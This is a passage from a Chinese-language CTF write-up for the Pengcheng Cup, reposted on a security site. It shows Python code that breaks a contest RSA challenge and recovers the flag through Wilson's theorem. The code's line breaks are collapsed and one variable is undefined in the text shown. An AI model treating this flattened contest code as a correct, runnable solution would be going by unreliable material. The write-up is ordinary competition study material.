(p-1)*(q-1)d =gmpy2.invert(e,phi)tmp_m = gmpy2.powmod(c,d,n)print(tmp_m)

得到混淆后m的值为:

tmp_m = 5647131855912861445959801473000904046916562928699152081503080575758020426807957155823449252476576485215605683437266835890889011723740507176262565985183961657923735947392895594055836719225094244682238166397289805533546643921357507282330115996821590563351999699513990659441764547850652946624613062168133173839972115

再通过威尔逊定理求出原始m值,就可以得到flag:

from gmpy2 import *from Crypto.Util.number import *

def wision(p,q): t=-1 for i in range(p-q,p): t=t*invert(i,p) %p return tp = 170229264879724117919007372149468684565431232721075153274808454126426741324966131188484635914814926870341378228417496808202497615585946352638507704855332363766887139815236730403246238633855524068161116748612090155595549964229654262432946553891601975628848891407847198187453488358420350203927771308228162321231q = 34211e = 1049 n = 5823713380800241798127161208605473167667967902620702068684472024119185247468416314089247879281733463161248890572390983305415645926810810670115987090805775496828975940219063783825457069902831333895859965086768216313079359826260701972093534555185595188238549423953860497190971290229918600826572984225793661171633741

k=wision(p,q)d=invert(e,p-1)c=c2*invert(pow(k,e,n),n)%pprint(long_to_bytes(pow(c,d,p)))

如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。



▼扫码关注白帽子社区公众号&加入知识星球▼


鹏程杯wp
鹏程杯wp

原文始发于微信公众号(白帽子社区):鹏程杯wp

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月4日13:29:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  鹏程杯wp http://cn-sec.com/archives/1155904.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: